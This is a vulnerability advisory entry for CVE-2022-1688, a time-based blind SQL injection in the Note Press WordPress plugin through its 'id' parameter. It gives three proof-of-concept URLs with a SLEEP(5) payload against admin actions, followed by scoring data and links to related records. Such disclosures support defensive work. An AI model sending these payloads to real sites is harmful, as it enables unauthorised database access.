Lucene search
Daniel KrohmerWPVDB-ID:63D4444B-9B04-47F5-A692-C6C6C8EA7D92HistoryMay 09, 2022 - 12:00 a.m.
Note Press <= 0.1.10 - Admin+ SQLi via id
2022-05-0900:00:00
Daniel Krohmer
wpscan.com
7
0.001 Low
EPSS
Percentile
21.8%
The plugin does not sanitise and escape the id parameter before using it in various SQL statement via the admin dashboard, leading to SQL Injections
PoC
https://example.com/wp-admin/admin.php?page=Note_Press-Main-Menu&action;=view&id;=17+AND+(SELECT+3630+FROM+(SELECT(SLEEP(5)))KdTt) https://example.com/wp-admin/admin.php?page=Note_Press-Main-Menu&action;=edit&id;=17+AND+(SELECT+3630+FROM+(SELECT(SLEEP(5)))KdTt) https://example.com/wp-admin/admin.php?page=Note_Press-Main-Menu&action;=delete&id;=17+AND+(SELECT+3630+FROM+(SELECT(SLEEP(5)))KdTt)
| CPE | Name | Operator | Version |
|---|---|---|---|
| note-press | eq | * |
Related
cvelist
cvelist
CVE-2022-1688 Note Press <= 0.1.10 - Admin+ SQLi via id
2022-06-06 08:51:23
nvd
nvd
CVE-2022-1688
2022-06-08 10:15:10
wpexploit
wpexploit
Note Press <= 0.1.10 - Admin+ SQLi via id
2022-05-09 00:00:00
cnvd
cnvd
WordPress plugin Note Press SQL注入漏洞
2022-06-15 00:00:00
patchstack
patchstack
prion
prion
Sql injection
2022-06-08 10:15:00
cve
cve
CVE-2022-1688
2022-06-08 10:15:10